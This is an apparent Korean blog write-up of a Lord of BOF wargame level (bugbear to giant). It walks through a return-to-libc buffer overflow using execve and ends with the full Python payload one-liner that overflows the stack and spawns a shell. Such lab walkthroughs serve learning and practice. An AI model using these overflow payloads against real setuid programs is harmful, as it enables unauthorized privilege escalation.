Profile

머리정리하는곳

c2w2m2

[Level14] bugbear -> giant


저희가 지금까지 사용했던 RTL 방식은 system 함수를 이용한 방식이였습니다.


하지만 이문제가 지금 요구하는 방식은 execve 함수를 이용하라고 하는군요,,,


일단 execve의 주소부터 알아봅시다. 





//execve.c
#include<stdio.h>
int main(){
     printf("Test");
} 

이렇게 짠다음 컴파일 하고 gdb로 열어서 printf 에 bp걸고 실행을 시킨 다음 p execve 로 execve 의 주소값을 확인합니다.



execve 주소값 : 0x400a9d48


*주의 : \x0a 를 \x00 으로 인식하기 때문에 python 으로 값을 넣을때 "" 를 밖에 한개씩 추가합시다.


execve로 /bin/sh 를 실행 시키려면 보통 


 
//execvetest.c
#include<stdio.h>
int main(){
     char *a [2] = {"/bin/sh" , NULL};
     execve(a[0], a, NULL);
} 
로 실행시키는데 이를 이용하여 계획을 짜보면


dummy + sfp [44 byte ] + execve주소 [4 byte] + dummy [4 byte] + /bin/sh 주소 [4 byte] + /bin/sh+NULL 주소 [4 byte] + NULL 주소 [4 byte]


가 됩니다.  어떻게 하면 /bin/sh + NULL 주소를 구할수 있는지 생각해보니 파일 이름을 넣고 스택을 보면 맨 마지막에 나오는 파일 이름 뒤에는 NULL이 있다는 것을 생각 해냈습니다! 따라서 심볼릭 링크를 giant 에 \xf9\xbf\x0f\x40 이름으로 걸면 될거 같습니다.


(실행할때 tnaig 가 뭔진 몰라도 assassin 파일이 없다고 빼애앵 거리면서 you must 뭐시기 하길래 그냥 소스코드 복사해서 그부분 지우고 했습니다...  참고로 giant는 제대로 되더라고요)


0xbfffffe8 가 맨뒤에있는 파일이름의 주소값 시작 입니다. 앞에있는 pwd 를 제외하고 /bin/sh 의 주소값은 0xbffffff7 가 됩니다.


그리고 4byte 뒤인 0xbffffffb 가 NULL의 주소고요. 


그럼 공격을 해보자면...! 



쉘을 얻었습니다!


그럼 giant 에 공격을 해봅시다.



./`python -c 'print "\x90"*2+"\xf9\xbf\x0f\x40"'` "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "ABCD" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf"+"\xfb\xff\xff\xbf"'`"




클리어 !

'Pwnable > LOB' 카테고리의 다른 글

[Level16] assassin -> zombie_assassin  (0) 2017.05.17
[Level15] giant -> assassin  (0) 2017.05.17
[Level13] darkknight -> bugbear  (0) 2017.05.17
[Level12] golem -> darkknight  (0) 2017.05.17
[Level11] skeleton -> golem  (0) 2017.05.17